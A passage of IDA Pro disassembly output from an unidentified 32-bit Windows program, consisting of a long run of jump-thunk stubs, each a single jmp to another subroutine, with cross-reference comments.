sub_401B22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B27	proc near		; CODE XREF: ___:00416A7Bp
					; ___:00439F42j ...
		jmp	sub_4179D0
sub_401B27	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B2C	proc near		; CODE XREF: ___:00408706p
					; ___:00408727p ...
		jmp	sub_407660
sub_401B2C	endp

; ---------------------------------------------------------------------------
		jmp	loc_414AF0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B36	proc near		; CODE XREF: sub_41C610+83p
					; sub_4282C0+3Fp
		jmp	sub_41D540
sub_401B36	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B3B	proc near		; CODE XREF: sub_41A890+11p
		jmp	sub_41A8C0
sub_401B3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B40	proc near		; CODE XREF: sub_41E660+339p
		jmp	sub_421C10
sub_401B40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B45	proc near		; CODE XREF: sub_414C70+3p
		jmp	sub_414CA0
sub_401B45	endp

; ---------------------------------------------------------------------------
		jmp	loc_432CA0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B4F	proc near		; CODE XREF: sub_42FAA0+29p
		jmp	sub_42F540
sub_401B4F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B54	proc near		; CODE XREF: sub_40FDA0+38p
					; ___:00439158j
		jmp	sub_412BC0
sub_401B54	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B59	proc near
		jmp	sub_40D580
sub_401B59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B5E	proc near		; CODE XREF: sub_407660+3Bp
					; sub_4076F0+43p
		jmp	sub_40B430
sub_401B5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B63	proc near		; CODE XREF: sub_4072D0+3p
		jmp	sub_4074A0
sub_401B63	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B68	proc near		; CODE XREF: sub_424840+9Dp
					; sub_424840+FBp ...
		jmp	sub_4245F0
sub_401B68	endp

; ---------------------------------------------------------------------------


loc_401B6D:				; DATA XREF: ___:off_43E084o
		jmp	loc_425BD0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B72	proc near		; CODE XREF: sub_40FF60+413p
					; sub_40FF60+F69p ...
		jmp	sub_409F60
sub_401B72	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B77	proc near		; CODE XREF: ___:00425474p
		jmp	sub_4254E0
sub_401B77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B7C	proc near		; CODE XREF: sub_422050+32p
		jmp	sub_422410
sub_401B7C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B81	proc near		; CODE XREF: sub_41B4B0+A5p
		jmp	sub_41A6D0
sub_401B81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B86	proc near		; CODE XREF: sub_40BF60+23p
					; sub_40C120+11p
		jmp	sub_40C2C0
sub_401B86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B8B	proc near		; CODE XREF: ___:0042B833p
		jmp	sub_42B860
sub_401B8B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B90	proc near
		jmp	sub_41E140
sub_401B90	endp

; ---------------------------------------------------------------------------


loc_401B95:				; DATA XREF: sub_42FF50+86o
		jmp	loc_431650

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B9A	proc near		; CODE XREF: sub_409530+20p
		jmp	sub_409600
sub_401B9A	endp

; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_9. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BA4	proc near		; DATA XREF: ___:off_43E0A4o
		jmp	sub_40CBB0
sub_401BA4	endp

; ---------------------------------------------------------------------------
		jmp	loc_4309D0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401BAE	proc near		; CODE XREF: sub_421BD0+1Fp
		jmp	sub_421FB0
sub_401BAE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401BB3	proc near		; CODE XREF: sub_427520+39p
		jmp	sub_4270E0
sub_401BB3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BB8	proc near		; CODE XREF: sub_415730+5p
					; sub_415930+6p ...
		jmp	sub_416380
sub_401BB8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BBD	proc near		; CODE XREF: sub_4303D0+5Dp
					; sub_431730+3Ep
		jmp	sub_4304D0
sub_401BBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BC2	proc near		; CODE XREF: ___:00432129p
					; ___:0043214Ap ...
		jmp	sub_430C00
sub_401BC2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BC7	proc near		; CODE XREF: ___:00425DA2p
		jmp	sub_4269A0
sub_401BC7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BCC	proc near		; CODE XREF: sub_41B3D0+3p
		jmp	sub_41B400
sub_401BCC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BD1	proc near		; CODE XREF: sub_428220+3p
		jmp	sub_428250
sub_401BD1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BD6	proc near		; CODE XREF: sub_422A40+924p
					; ___:0042408Ap
		jmp	sub_4258E0
sub_401BD6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BDB	proc near		; CODE XREF: sub_42D2C0+18Dp
					; sub_42D2C0+1CDp ...
		jmp	sub_42DFD0
sub_401BDB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401BE0	proc near		; CODE XREF: ___:0041426Cp
		jmp	sub_414360
sub_401BE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401BE5	proc near
		jmp	sub_40C360
sub_401BE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BEA	proc near		; CODE XREF: sub_425020+8Bp
		jmp	sub_424840
sub_401BEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BEF	proc near		; CODE XREF: ___:0040B11Ep
					; sub_40B170+34p ...
		jmp	sub_40BDD0
sub_401BEF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401BF4	proc near		; CODE XREF: sub_40B0B0+5Cp
		jmp	sub_40BC70
sub_401BF4	endp

; ---------------------------------------------------------------------------
		jmp	loc_4327C0
; ---------------------------------------------------------------------------
		jmp	loc_431120

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C03	proc near		; CODE XREF: sub_430AD0+20p
					; sub_430C00+20p ...
		jmp	sub_430690
sub_401C03	endp

; ---------------------------------------------------------------------------
		jmp	loc_42ED30

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401C0D	proc near
		jmp	sub_4347B0
sub_401C0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C12	proc near		; CODE XREF: sub_4137E0+84p
					; sub_433A20+3Cp ...
		jmp	sub_433940
sub_401C12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C17	proc near		; CODE XREF: ___:0042C4D8p
		jmp	sub_42B060
sub_401C17	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C1C	proc near		; CODE XREF: sub_42A810+446p
		jmp	sub_42A5F0
sub_401C1C	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B620

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C26	proc near		; CODE XREF: ___:00431256p
					; sub_4331D0+23p
		jmp	sub_431AC0
sub_401C26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C2B	proc near		; DATA XREF: ___:off_43E12Co
		jmp	sub_427FF0
sub_401C2B	endp

; ---------------------------------------------------------------------------
		jmp	loc_41FC80

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C35	proc near		; CODE XREF: sub_41AFE0+8p
					; ___:0041B39Dp ...
		jmp	sub_41A010
sub_401C35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C3A	proc near		; CODE XREF: sub_42A100+3p
		jmp	sub_42A130
sub_401C3A	endp

; ---------------------------------------------------------------------------
		jmp	loc_41AD80
; ---------------------------------------------------------------------------
		jmp	loc_416990

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401C49	proc near		; CODE XREF: sub_40BD90+1Fp
		jmp	sub_40BEC0
sub_401C49	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C4E	proc near		; CODE XREF: sub_415A00+9p
					; sub_415B20+18p
		jmp	sub_4165D0
sub_401C4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401C53	proc near		; CODE XREF: sub_418C50+4p
		jmp	sub_418F70
sub_401C53	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C58	proc near		; CODE XREF: sub_407370+11p
					; ___:00407397p ...
		jmp	sub_407520
sub_401C58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C5D	proc near		; CODE XREF: sub_404C70+111p
					; sub_40D580+42p ...
		jmp	sub_40A1F0
sub_401C5D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C62	proc near		; CODE XREF: ___:0041319Ap
					; sub_413220+3Cp ...
		jmp	sub_4157E0
sub_401C62	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E9C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C6C	proc near		; CODE XREF: sub_4256B0+69p
		jmp	sub_425820
sub_401C6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C71	proc near		; CODE XREF: sub_40B520+2Fp
					; sub_40B520+6Ep ...
		jmp	sub_40BD60
sub_401C71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C76	proc near		; CODE XREF: ___:0042ED88p
					; ___:0042ED9Dp ...
		jmp	sub_432CC0
sub_401C76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401C7B	proc near		; CODE XREF: sub_415370+11p
					; sub_415DD0+1Fp
		jmp	sub_415FC0
sub_401C7B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401C80	proc near		; DATA XREF: ___:0043E0D4o
		jmp	sub_41D830
sub_401C80	endp

; ---------------------------------------------------------------------------
		jmp	loc_419910

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C8A	proc near		; CODE XREF: sub_407370+9p
					; sub_418D80+18p
		jmp	sub_4075C0
sub_401C8A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401C8F	proc near		; CODE XREF: sub_4131F0+3p
					; ___:00416B3Bp ...
		jmp	sub_413220
sub_401C8F	endp

; ---------------------------------------------------------------------------
		jmp	loc_40B810
; ---------------------------------------------------------------------------


loc_401C99:				; DATA XREF: ___:off_43E05Co
		jmp	loc_416C90
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_4. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CA3	proc near		; CODE XREF: ___:00416E6Ap
		jmp	sub_4181B0
sub_401CA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CA8	proc near		; CODE XREF: sub_415AA0+Cp
					; sub_415AA0+43p
		jmp	sub_4165A0
sub_401CA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401CAD	proc near		; CODE XREF: sub_409600+45p
		jmp	sub_4098E0
sub_401CAD	endp

; ---------------------------------------------------------------------------
		jmp	loc_433140
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_1. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CBC	proc near		; CODE XREF: sub_40FF60+3A4p
		jmp	sub_40A000
sub_401CBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401CC1	proc near		; CODE XREF: sub_407790+646p
					; ___:00407E7Dp ...
		jmp	sub_4076F0
sub_401CC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CC6	proc near		; CODE XREF: sub_415420+16p
					; sub_415460+Bp ...
		jmp	sub_416090
sub_401CC6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CCB	proc near		; CODE XREF: sub_409600+144p
		jmp	sub_409970
sub_401CCB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CD0	proc near		; CODE XREF: sub_404640+1C2p
					; sub_404B10+36p ...
		jmp	sub_4133D0
sub_401CD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401CD5	proc near		; CODE XREF: sub_4150F0+34p
					; sub_415B20+67p
		jmp	sub_415CC0
sub_401CD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CDA	proc near
		jmp	sub_409AA0
sub_401CDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CDF	proc near		; DATA XREF: ___:0043E06Co
		jmp	sub_41FC00
sub_401CDF	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E0B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CE9	proc near		; CODE XREF: sub_40BE90+5p
		jmp	sub_40C0F0
sub_401CE9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401CEE	proc near		; CODE XREF: ___:0043113Fp
		jmp	sub_42F230
sub_401CEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CF3	proc near		; CODE XREF: sub_421D50+11p
					; ___:00421D77p ...
		jmp	sub_422300
sub_401CF3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401CF8	proc near		; DATA XREF: ___:0043E048o
		jmp	sub_4131F0
sub_401CF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401CFD	proc near		; CODE XREF: sub_4157A0+1Fp
		jmp	sub_416120
sub_401CFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D02	proc near		; CODE XREF: sub_40F600+1ACp
					; sub_40F600+1EDp ...
		jmp	sub_40F590
sub_401D02	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D07	proc near		; CODE XREF: sub_413DA0+15Cp
		jmp	sub_414090
sub_401D07	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D0C	proc near		; CODE XREF: sub_404C20+23p
					; sub_40FF60+13C2p
		jmp	sub_412B20
sub_401D0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D11	proc near		; CODE XREF: ___:00416E2Fp
		jmp	sub_418050
sub_401D11	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401D16	proc near		; CODE XREF: sub_407540+7p
					; sub_40C200+7p ...
		jmp	sub_4075E0
sub_401D16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D1B	proc near		; CODE XREF: sub_40A810+1Ap
					; sub_40A8C0+4p ...
		jmp	sub_40A880
sub_401D1B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D20	proc near		; CODE XREF: sub_404640+289p
					; sub_404640+2ADp ...
		jmp	sub_40A0A0
sub_401D20	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F2B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D2A	proc near		; DATA XREF: ___:0043E154o
		jmp	sub_4282C0
sub_401D2A	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E680

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401D34	proc near
		jmp	sub_403FC0
sub_401D34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D39	proc near		; CODE XREF: sub_411FE0+123p
					; sub_411FE0+1E2p
		jmp	sub_4126B0
sub_401D39	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B470
; ---------------------------------------------------------------------------
		jmp	loc_40B790

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D48	proc near		; CODE XREF: sub_421C80+5p
		jmp	sub_4221E0
sub_401D48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D4D	proc near		; CODE XREF: sub_415E70+5Fp
		jmp	sub_416690
sub_401D4D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D52	proc near		; CODE XREF: sub_41D830+2C7p
		jmp	sub_42EA40
sub_401D52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401D57	proc near		; CODE XREF: sub_418BA0+7p
		jmp	sub_418E40
sub_401D57	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D5C	proc near		; CODE XREF: sub_413670+5Dp
					; sub_413670+9Bp ...
		jmp	sub_415340
sub_401D5C	endp

; ---------------------------------------------------------------------------
		jmp	loc_4360A0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D66	proc near		; CODE XREF: sub_415730+16p
					; sub_415770+Bp ...
		jmp	sub_4163E0
sub_401D66	endp

; ---------------------------------------------------------------------------
		jmp	loc_40B880

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401D70	proc near		; CODE XREF: sub_432ED0+98p
		jmp	sub_430660
sub_401D70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D75	proc near		; CODE XREF: sub_421B60+16p
					; sub_421BA0+Bp ...
		jmp	sub_4221B0
sub_401D75	endp

; ---------------------------------------------------------------------------
		jmp	loc_42C7E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401D7F	proc near
		jmp	sub_41C390
sub_401D7F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D84	proc near		; CODE XREF: sub_4189B0+16p
					; sub_4189F0+Bp ...
		jmp	sub_418D20
sub_401D84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D89	proc near		; CODE XREF: sub_413670+53p
					; sub_413670+91p ...
		jmp	sub_4151A0
sub_401D89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D8E	proc near		; CODE XREF: sub_422A40+56p
		jmp	sub_4258A0
sub_401D8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D93	proc near		; CODE XREF: sub_422A40+18Ap
		jmp	sub_4257A0
sub_401D93	endp

; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_6. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D9D	proc near		; CODE XREF: sub_428040+81p
		jmp	sub_427AD0
sub_401D9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401DA2	proc near		; CODE XREF: sub_415680+11p
					; sub_416120+1Fp
		jmp	sub_416310
sub_401DA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DA7	proc near		; CODE XREF: sub_415160+16p
					; sub_4151A0+Bp ...
		jmp	sub_415D40
sub_401DA7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DAC	proc near		; CODE XREF: ___:00414713p
		jmp	sub_4144D0
sub_401DAC	endp

; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_3. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401DB6	proc near		; CODE XREF: sub_426F70+90p
		jmp	sub_427520
sub_401DB6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DBB	proc near		; CODE XREF: ___:0042B178p
		jmp	sub_42AEC0
sub_401DBB	endp

; ---------------------------------------------------------------------------
		jmp	loc_414120

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DC5	proc near		; CODE XREF: sub_4337E0+74p
		jmp	sub_4317F0
sub_401DC5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DCA	proc near		; CODE XREF: sub_41FA90+1Dp
		jmp	sub_40B070
sub_401DCA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401DCF	proc near		; CODE XREF: sub_40A9F0+45p
		jmp	sub_40AC70
sub_401DCF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401DD4	proc near		; CODE XREF: ___:0042F33Dp
					; ___:0042F462p ...
		jmp	sub_431990
sub_401DD4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DD9	proc near		; CODE XREF: ___:00425C34p
		jmp	sub_426EB0
sub_401DD9	endp

; ---------------------------------------------------------------------------
		jmp	loc_431A60

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DE3	proc near		; CODE XREF: sub_40FF60+AE7p
					; sub_40FF60+E5Dp
		jmp	sub_41EE70
sub_401DE3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DE8	proc near		; CODE XREF: sub_40ACA0+Ap
		jmp	sub_40AD90
sub_401DE8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DED	proc near		; CODE XREF: ___:00416A3Bp
					; ___:00439F7Aj ...
		jmp	sub_417AE0
sub_401DED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401DF2	proc near		; CODE XREF: sub_421E80+4p
		jmp	sub_422320
sub_401DF2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DF7	proc near		; CODE XREF: sub_40C400+271p
					; sub_425020+50p
		jmp	sub_423660
sub_401DF7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DFC	proc near		; CODE XREF: ___:0041617Ap
		jmp	sub_416760
sub_401DFC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401E01	proc near		; CODE XREF: sub_415CC0+7p
		jmp	sub_4164C0
sub_401E01	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401E06	proc near		; CODE XREF: sub_41D830+19Bp
		jmp	sub_42C790
sub_401E06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E0B	proc near		; CODE XREF: sub_404C70+83Bp
					; sub_404C70+B68p ...
		jmp	sub_412900
sub_401E0B	endp

; ---------------------------------------------------------------------------
		jmp	sub_4131F0
; ---------------------------------------------------------------------------
		jmp	sub_428220

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401E1A	proc near		; CODE XREF: sub_4153B0+34p
					; sub_415E70+67p
		jmp	sub_416010
sub_401E1A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E1F	proc near		; CODE XREF: sub_413670+31p
					; sub_4144D0+2Dp
		jmp	sub_4152D0
sub_401E1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E24	proc near		; CODE XREF: sub_40CBB0+1EEp
					; ___:00423EC5p ...
		jmp	sub_425640
sub_401E24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E29	proc near		; CODE XREF: sub_4158F0+3p
		jmp	sub_4163C0
sub_401E29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E2E	proc near		; CODE XREF: sub_404640+97p
					; sub_404640+107p ...
		jmp	sub_40A3C0
sub_401E2E	endp

; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_5. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E38	proc near		; CODE XREF: ___:00423CFDp
		jmp	sub_423850
sub_401E38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E3D	proc near		; CODE XREF: ___:00421D0Ap
		jmp	sub_422210
sub_401E3D	endp

; ---------------------------------------------------------------------------
		jmp	loc_416D30

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401E47	proc near
		jmp	sub_4355E0
sub_401E47	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E4C	proc near		; DATA XREF: ___:off_43E098o
		jmp	sub_4356F0
sub_401E4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E51	proc near		; CODE XREF: ___:0043250Fp
		jmp	sub_42FDB0
sub_401E51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E56	proc near		; CODE XREF: sub_4165A0+5p
		jmp	sub_4167F0
sub_401E56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E5B	proc near		; CODE XREF: sub_404C70+28Dp
					; sub_41D830+6A6p
		jmp	sub_40DB40
sub_401E5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E60	proc near		; CODE XREF: sub_422410+5Fp
		jmp	sub_422600
sub_401E60	endp

; ---------------------------------------------------------------------------
		jmp	loc_419E90

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E6A	proc near		; CODE XREF: sub_40F600+22p
					; sub_411860+1Dp ...
		jmp	sub_40ADC0
sub_401E6A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E6F	proc near		; CODE XREF: sub_40A9F0+112p
					; sub_40A9F0+153p
		jmp	sub_40ACD0
sub_401E6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E74	proc near		; DATA XREF: ___:off_43E0C0o
		jmp	sub_41B010
sub_401E74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E79	proc near		; CODE XREF: sub_4155E0+3p
		jmp	sub_416070
sub_401E79	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E7E	proc near		; CODE XREF: sub_426960+1Ap
		jmp	sub_426820
sub_401E7E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E83	proc near		; CODE XREF: ___:00416B0Bp
					; ___:00439EC4j ...
		jmp	sub_4175E0
sub_401E83	endp

; ---------------------------------------------------------------------------
		jmp	loc_431EC0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E8D	proc near		; CODE XREF: sub_4200F0+3Ap
		jmp	sub_420300
sub_401E8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401E92	proc near		; DATA XREF: ___:0043E114o
		jmp	sub_426F70
sub_401E92	endp

; ---------------------------------------------------------------------------
		jmp	loc_432800

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401E9C	proc near		; CODE XREF: sub_416310+4p
		jmp	sub_416710
sub_401E9C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EA1	proc near		; CODE XREF: sub_415830+4Fp
					; sub_4161C0+11p ...
		jmp	sub_416410
sub_401EA1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EA6	proc near		; CODE XREF: sub_415650+5p
		jmp	sub_4160F0
sub_401EA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EAB	proc near		; CODE XREF: sub_424840+151p
		jmp	sub_424800
sub_401EAB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EB0	proc near		; CODE XREF: ___:00416AABp
					; ___:00439F18j ...
		jmp	sub_417830
sub_401EB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EB5	proc near		; CODE XREF: sub_4152D0+3p
		jmp	sub_415D20
sub_401EB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401EBA	proc near		; CODE XREF: sub_415030+11p
					; sub_415070+13p ...
		jmp	sub_415C70
sub_401EBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EBF	proc near		; CODE XREF: sub_421960+16p
					; sub_4219A0+Bp ...
		jmp	sub_421F50
sub_401EBF	endp

; ---------------------------------------------------------------------------
		jmp	loc_418860
; ---------------------------------------------------------------------------
		jmp	loc_41C250

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401ECE	proc near		; CODE XREF: sub_418E90+18p
					; sub_421CB0+9p
		jmp	sub_419050
sub_401ECE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401ED3	proc near		; CODE XREF: sub_422540+Ap
		jmp	sub_4226E0
sub_401ED3	endp

; ---------------------------------------------------------------------------
		jmp	loc_41BC50
; ---------------------------------------------------------------------------
		jmp	loc_4328B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EE2	proc near		; CODE XREF: ___:00416A0Bp
					; ___:00439FA4j ...
		jmp	sub_417B20
sub_401EE2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


